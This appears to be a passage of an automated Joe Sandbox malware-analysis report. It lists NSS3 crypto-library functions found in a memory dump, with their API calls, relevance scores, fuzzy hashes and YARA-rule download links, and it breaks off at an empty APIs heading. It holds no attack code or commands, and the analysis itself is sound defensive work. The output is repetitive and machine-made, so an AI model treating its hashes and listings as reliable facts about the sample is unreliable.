SERVER_HANDSHAKE_TRAFFIC_SECRET, xrefs: 6CCA1EFE
CLIENT_HANDSHAKE_TRAFFIC_SECRET, xrefs: 6CCA1ED0
hs traffic, xrefs: 6CCA1ED5, 6CCA1F03

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: FreeK11_strlen$CriticalEnterErrorSectionValue$CurrentR_snprintfThreadUnlockfreememset
String ID: CLIENT_HANDSHAKE_TRAFFIC_SECRET$SERVER_HANDSHAKE_TRAFFIC_SECRET$derived$hs traffic
API String ID: 1957539860-3152504015
Opcode ID: bb92edb4909afccf0f711d31425dea9dbaeb1b38beda45f527a0461627ff571c
Instruction ID: 43aa8e7a9d30284e284a51e1333f012aa98846cff34c2482c7274931400fe159
Opcode Fuzzy Hash: bb92edb4909afccf0f711d31425dea9dbaeb1b38beda45f527a0461627ff571c
Instruction Fuzzy Hash: B951AB75A006169FE720CBAACC49BEBB7F8EB49304F040429E95997751F731E905CF91

Function 6CC03E60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

Part of subcall function 6CC040D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6CC03F7F,?,00000055,?,?,6CC01666,?,?), ref: 6CC040D9
Part of subcall function 6CC040D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6CC01666,?,?), ref: 6CC040FC
Part of subcall function 6CC040D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6CC01666,?,?), ref: 6CC04138

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC03EC2
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CC03ED6

Part of subcall function 6CC5B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CD318D0,?), ref: 6CC5B095

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CC03EEE

Part of subcall function 6CC5FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CC58D2D,?,00000000,?), ref: 6CC5FB85
Part of subcall function 6CC5FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CC5FBB1

PR_CallOnce.NSS3(6CD62AA4,6CC612D0), ref: 6CC03F02
PL_FreeArenaPool.NSS3 ref: 6CC03F14
PL_FinishArenaPool.NSS3 ref: 6CC03F1C

Part of subcall function 6CC664F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6CC6127C,00000000,00000000,00000000), ref: 6CC6650E

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CC03F27

Strings

security, xrefs: 6CC03EBC

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Util$ArenaItem_$Pool$Error$Alloc_CallCompareCopyDecodeFindFinishFreeInitOnceQuickTag_Zfreefreememcpy
String ID: security
API String ID: 1076417423-3315324353
Opcode ID: 6c0042eefaf6541f04c8b820cdfc918017cea1f03830c29c448788d8b826533f
Instruction ID: 038dd3ab08504f39ff6517ab6ac989fa92526dfe1d23109841bfbe5fe77cdc9f
Opcode Fuzzy Hash: 6c0042eefaf6541f04c8b820cdfc918017cea1f03830c29c448788d8b826533f
Instruction Fuzzy Hash: 0921D7B2A04300ABD7149B15AC41FAB77A8BB8971CF04053DF959A7B41F731D528C79A

Function 6CC4CC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6CC4CD08
PK11_DoesMechanism.NSS3(?,?), ref: 6CC4CE16
PR_SetError.NSS3(00000000,00000000), ref: 6CC4D079

Part of subcall function 6CCAC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CCAC2BF

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
Opcode ID: e488fb2e8b0e0d39be2a386400737b0504eacf4c5b230f48dfde1b50214e5614
Instruction ID: af66fcc0bf275155fda8b5ace597720a38d0b4c6a97858a0d9c03bbb884f9077
Opcode Fuzzy Hash: e488fb2e8b0e0d39be2a386400737b0504eacf4c5b230f48dfde1b50214e5614
Instruction Fuzzy Hash: 14C16EB1A002199BDB10DF25CC84BDAB7B4BF48318F14C1A8E948A7751F775EA99CF90

Function 6CC3DC60 Relevance: 13.7, APIs: 9, Instructions: 245memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,6CC497C1,?,00000000,00000000,?,?,?,00000000,?,6CC27F4A,00000000), ref: 6CC3DC68

Part of subcall function 6CC60BE0: malloc.MOZGLUE(6CC58D2D,?,00000000,?), ref: 6CC60BF8
Part of subcall function 6CC60BE0: TlsGetValue.KERNEL32(6CC58D2D,?,00000000,?), ref: 6CC60C15

PORT_Alloc_Util.NSS3(00000008,00000000,?,?,?,00000000,?,6CC27F4A,00000000,?,00000000,00000000), ref: 6CC3DD36
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6CC27F4A,00000000,?,00000000,00000000), ref: 6CC3DE2D
memcpy.VCRUNTIME140(00000000,00000000,?,?,00000000,?,?,?,00000000,?,6CC27F4A,00000000,?,00000000,00000000), ref: 6CC3DE43
PORT_Alloc_Util.NSS3(0000000C,00000000,?,?,?,00000000,?,6CC27F4A,00000000,?,00000000,00000000), ref: 6CC3DE76
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6CC27F4A,00000000,?,00000000,00000000), ref: 6CC3DF32
memcpy.VCRUNTIME140(-00000010,00000000,00000000,?,00000000,?,?,?,00000000,?,6CC27F4A,00000000,?,00000000,00000000), ref: 6CC3DF5F
PORT_Alloc_Util.NSS3(00000004,00000000,?,?,?,00000000,?,6CC27F4A,00000000,?,00000000,00000000), ref: 6CC3DF78
PORT_Alloc_Util.NSS3(00000010,00000000,?,?,?,00000000,?,6CC27F4A,00000000,?,00000000,00000000), ref: 6CC3DFAA

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Alloc_Util$memcpy$Valuemalloc
String ID:
API String ID: 1886645929-0
Opcode ID: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction ID: c44da82b77ba8995599d07ed69440b5d9e1a367dc7c62d260c89aaff5807b226
Opcode Fuzzy Hash: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction Fuzzy Hash: 6D81F7746366208BFB105E19F8D03697AD2EB64349F20A43AD51ECBFE1F774C498C652

Function 6CC13C60 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_GetCertFromPrivateKey.NSS3(?), ref: 6CC13C76
CERT_DestroyCertificate.NSS3(00000000), ref: 6CC13C94

Part of subcall function 6CC095B0: TlsGetValue.KERNEL32(00000000,?,6CC200D2,00000000), ref: 6CC095D2
Part of subcall function 6CC095B0: EnterCriticalSection.KERNEL32(?,?,?,6CC200D2,00000000), ref: 6CC095E7
Part of subcall function 6CC095B0: PR_Unlock.NSS3(?,?,?,?,6CC200D2,00000000), ref: 6CC09605

PORT_NewArena_Util.NSS3(00000800), ref: 6CC13CB2
PORT_ArenaAlloc_Util.NSS3(00000000,000000AC), ref: 6CC13CCA
memset.VCRUNTIME140(00000000,00000000,000000AC), ref: 6CC13CE1

Part of subcall function 6CC13090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CC2AE42), ref: 6CC130AA
Part of subcall function 6CC13090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CC130C7
Part of subcall function 6CC13090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CC130E5
Part of subcall function 6CC13090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CC13116
Part of subcall function 6CC13090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CC1312B
Part of subcall function 6CC13090: PK11_DestroyObject.NSS3(?,?), ref: 6CC13154
Part of subcall function 6CC13090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC1317E

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Util$Arena_$Alloc_ArenaDestroyK11_memset$AlgorithmCertCertificateCopyCriticalEnterFreeFromItem_ObjectPrivateSectionTag_UnlockValue
String ID:
API String ID: 3167935723-0
Opcode ID: 113310de1a4c511c0984feaba8b9c11b934c95937d58ed6e8f215efdf5d505ef
Instruction ID: f79e3c04c1d775440fdace1bdd649f040d6cdef47cae37189dfe27076c206151
Opcode Fuzzy Hash: 113310de1a4c511c0984feaba8b9c11b934c95937d58ed6e8f215efdf5d505ef
Instruction Fuzzy Hash: BF61B2B1A04300ABEB105F66DC45FAB76B9EF0474CF4C8028FE499AE92F721D914D7A1

Function 6CC53D40 Relevance: 13.7, APIs: 9, Instructions: 169COMMON

Download Yara Rule

APIs

Part of subcall function 6CC53440: PK11_GetAllTokens.NSS3 ref: 6CC53481
Part of subcall function 6CC53440: PR_SetError.NSS3(00000000,00000000), ref: 6CC534A3
Part of subcall function 6CC53440: TlsGetValue.KERNEL32 ref: 6CC5352E
Part of subcall function 6CC53440: EnterCriticalSection.KERNEL32(?), ref: 6CC53542
Part of subcall function 6CC53440: PR_Unlock.NSS3(?), ref: 6CC5355B

TlsGetValue.KERNEL32 ref: 6CC53D8B
EnterCriticalSection.KERNEL32(?), ref: 6CC53D9F
PR_Unlock.NSS3(?), ref: 6CC53DCA
PR_SetError.NSS3(00000000,00000000), ref: 6CC53DE2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6CC53E4F

Part of subcall function 6CCAC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CCAC2BF

TlsGetValue.KERNEL32 ref: 6CC53E97
EnterCriticalSection.KERNEL32(?), ref: 6CC53EAB
PR_Unlock.NSS3(?), ref: 6CC53ED6
PR_SetError.NSS3(00000000,00000000), ref: 6CC53EEE

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: ErrorValue$CriticalEnterSectionUnlock$K11_Tokens
String ID:
API String ID: 2554137219-0
Opcode ID: a46f0f32864fd1ea87662f2f427903166c52f8e1d607b68201761d62c25c7f9a
Instruction ID: c02e75b49763dfe03c1d39d46e98de3755b0afbf50201ac006a4da38ff09c9d0
Opcode Fuzzy Hash: a46f0f32864fd1ea87662f2f427903166c52f8e1d607b68201761d62c25c7f9a
Instruction Fuzzy Hash: A5511572A002019FEB01AF69DC45B6A73B8BF45318F894568DE0947A22FB71E875C7A1

Function 6CC02C30 Relevance: 13.7, APIs: 9, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(1D5304BB), ref: 6CC02C5D

Part of subcall function 6CC60D30: calloc.MOZGLUE ref: 6CC60D50
Part of subcall function 6CC60D30: TlsGetValue.KERNEL32 ref: 6CC60D6D

CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001), ref: 6CC02C8D
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CC02CE0

Part of subcall function 6CC02E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CC02CDA,?,00000000), ref: 6CC02E1E
Part of subcall function 6CC02E00: SECITEM_DupItem_Util.NSS3(?), ref: 6CC02E33
Part of subcall function 6CC02E00: TlsGetValue.KERNEL32 ref: 6CC02E4E
Part of subcall function 6CC02E00: EnterCriticalSection.KERNEL32(?), ref: 6CC02E5E
Part of subcall function 6CC02E00: PL_HashTableLookup.NSS3(?), ref: 6CC02E71
Part of subcall function 6CC02E00: PL_HashTableRemove.NSS3(?), ref: 6CC02E84
Part of subcall function 6CC02E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6CC02E96
Part of subcall function 6CC02E00: PR_Unlock.NSS3 ref: 6CC02EA9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC02D23
CERT_IsCACert.NSS3(00000001,00000000), ref: 6CC02D30
CERT_MakeCANickname.NSS3(00000001), ref: 6CC02D3F
free.MOZGLUE(00000000), ref: 6CC02D73
CERT_DestroyCertificate.NSS3(?), ref: 6CC02DB8
free.MOZGLUE ref: 6CC02DC8

Part of subcall function 6CC03E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC03EC2
Part of subcall function 6CC03E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CC03ED6
Part of subcall function 6CC03E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CC03EEE
Part of subcall function 6CC03E60: PR_CallOnce.NSS3(6CD62AA4,6CC612D0), ref: 6CC03F02
Part of subcall function 6CC03E60: PL_FreeArenaPool.NSS3 ref: 6CC03F14
Part of subcall function 6CC03E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CC03F27

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Util$Item_$HashTable$ArenaCertificatePoolValueZfreefree$Alloc_CallCertCopyCriticalDecodeDestroyEnterErrorFreeInitLookupMakeNicknameOnceQuickRemoveSectionTempUnlockcalloc
String ID:
API String ID: 3941837925-0
Opcode ID: ad0f9bd35c37429bfe4cd0a21bbc128c8e99f8dac33f1be5dadd9e3d219fd71d
Instruction ID: e4fc644a545641895cd2a780cd07ee3d2b2e323ad7a32081294f5163a7bb493e
Opcode Fuzzy Hash: ad0f9bd35c37429bfe4cd0a21bbc128c8e99f8dac33f1be5dadd9e3d219fd71d
Instruction Fuzzy Hash: BD51CD71B043129BEB109F69DCA8B5B7BE5EF84348F140569EC5983A50F732EC15CB92

Function 6CC07CC0 Relevance: 13.6, APIs: 9, Instructions: 132threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC040D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6CC03F7F,?,00000055,?,?,6CC01666,?,?), ref: 6CC040D9
Part of subcall function 6CC040D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6CC01666,?,?), ref: 6CC040FC
Part of subcall function 6CC040D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6CC01666,?,?), ref: 6CC04138

PR_GetCurrentThread.NSS3 ref: 6CC07CFD

Part of subcall function 6CCC9BF0: TlsGetValue.KERNEL32(?,?,?,6CD10A75), ref: 6CCC9C07

SECITEM_ItemsAreEqual_Util.NSS3(?,6CD29030), ref: 6CC07D1B

Part of subcall function 6CC5FD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6CC01A3E,00000048,00000054), ref: 6CC5FD56

SECITEM_ItemsAreEqual_Util.NSS3(?,6CD29048), ref: 6CC07D2F
SECITEM_CopyItem_Util.NSS3(00000000,?,00000000), ref: 6CC07D50
PR_GetCurrentThread.NSS3 ref: 6CC07D61
PORT_ArenaMark_Util.NSS3(?), ref: 6CC07D7D
free.MOZGLUE(?), ref: 6CC07D9C
CERT_CheckNameSpace.NSS3(?,00000000,00000000), ref: 6CC07DB8
PR_SetError.NSS3(FFFFE023,00000000), ref: 6CC07E19

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Util$CurrentEqual_ErrorItem_ItemsThread$ArenaCheckCompareCopyFindMark_NameSpaceTag_Valuefreememcmp
String ID:
API String ID: 70581797-0
Opcode ID: 19a1d9ddd9070f50b33211951279ef98fbb34f932c48ee29e828fa92eddf5c6f
Instruction ID: fde53bdc364cf55ad8e72c394967eb66fff744b202501c354b8d7e21a53ed516
Opcode Fuzzy Hash: 19a1d9ddd9070f50b33211951279ef98fbb34f932c48ee29e828fa92eddf5c6f
Instruction Fuzzy Hash: 9C41D472B0021A9BEF049F699C41BAF37A8AF5035CF0500A4ED19A7B51F732E919D7A1

Function 6CC17EB0 Relevance: 13.6, APIs: 9, Instructions: 124threadCOMMON

Download Yara Rule

APIs

free.MOZGLUE(?,00000000,00000000,?,?,?,6CC180DD), ref: 6CC17F15
DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,?,?,6CC180DD), ref: 6CC17F36
free.MOZGLUE(?,?,?,6CC180DD), ref: 6CC17F3D
SECOID_Shutdown.NSS3(00000000,00000000,?,?,?,6CC180DD), ref: 6CC17F5D
DeleteCriticalSection.KERNEL32(?,6CC180DD), ref: 6CC17F94
free.MOZGLUE(?), ref: 6CC17F9B
PR_SetError.NSS3(FFFFE08B,00000000,6CC180DD), ref: 6CC17FD0
PR_SetThreadPrivate.NSS3(FFFFFFFF,00000000,6CC180DD), ref: 6CC17FE6
free.MOZGLUE(?,6CC180DD), ref: 6CC1802D

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection$ErrorPrivateShutdownThread
String ID:
API String ID: 4037168058-0
Opcode ID: 4fbde89f89bea0000862c0b3fee877fc8bef8007ddaa9e85a9a46bca5adcc1b0
Instruction ID: 85e6c3848989088d76e2a1bb8f905559b60b176427b3166841e9ab67f27d1205
Opcode Fuzzy Hash: 4fbde89f89bea0000862c0b3fee877fc8bef8007ddaa9e85a9a46bca5adcc1b0
Instruction Fuzzy Hash: 5341D4B1B091104FEB10DFBBC888A6B37BDAB4635CF15022AE71987B80E7359505DBB1

Function 6CC5FEE0 Relevance: 13.6, APIs: 9, Instructions: 120memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC5FF00

Part of subcall function 6CCAC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CCAC2BF

PORT_ArenaMark_Util.NSS3(?), ref: 6CC5FF18
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6CC5FF26
PORT_ArenaMark_Util.NSS3(?), ref: 6CC5FF4F
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CC5FF7A
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CC5FF8C

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Mark_$ErrorValuememset
String ID:
API String ID: 1233137751-0
Opcode ID: 50553090a447735dc18ee57297f4ccd417fc79ea7c4a9d8ab53703640b0efe75
Instruction ID: d5db1dfc2b7ccf59d3eb1580037eb7eadbd70bb922a33f79702318767f187697
Opcode Fuzzy Hash: 50553090a447735dc18ee57297f4ccd417fc79ea7c4a9d8ab53703640b0efe75
Instruction Fuzzy Hash: 903122B29053129FEB108E9A9880B5B76E8AF42348F140239ED1997F41F732D935C7D9

Function 6CC63CA0 Relevance: 13.6, APIs: 9, Instructions: 90memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,?,-00000001,?,00000000,?,6CC638BD), ref: 6CC63CBE
PORT_Alloc_Util.NSS3(00000000,?,000000FF,00000000,00000000,?,-00000001,?,00000000,?,6CC638BD), ref: 6CC63CD1

Part of subcall function 6CC60BE0: malloc.MOZGLUE(6CC58D2D,?,00000000,?), ref: 6CC60BF8
Part of subcall function 6CC60BE0: TlsGetValue.KERNEL32(6CC58D2D,?,00000000,?), ref: 6CC60C15

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,6CC638BD), ref: 6CC63CF0
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,6CD3B369,000000FF,00000000,00000000,?,000000FF,00000000,00000000,6CC638BD), ref: 6CC63D0B
PORT_Alloc_Util.NSS3(00000000,?,000000FF,00000000,00000000,6CC638BD), ref: 6CC63D1A
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,6CD3B369,000000FF,00000000,00000000,00000000,6CC638BD), ref: 6CC63D38
_wfopen.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000000), ref: 6CC63D47
free.MOZGLUE(00000000), ref: 6CC63D62
free.MOZGLUE(000000FF,?,000000FF,00000000,00000000,6CC638BD), ref: 6CC63D6F

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: ByteCharMultiWide$Alloc_Utilfree$Value_wfopenmalloc
String ID:
API String ID: 2345246809-0
Opcode ID: 00959e3009046086e20a3628981cfb91203983930040d65727f5868e42897698
Instruction ID: 5a0881c58565706ac248ac973ec1f55bfc674f40404d10538bd7d1a486e0fa57
Opcode Fuzzy Hash: 00959e3009046086e20a3628981cfb91203983930040d65727f5868e42897698
Instruction Fuzzy Hash: B721C9B57011123BFB10667B8D89E7739ACDFC66A4F180275B939D7AC0FA60D800C271

Function 6CC64DF0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

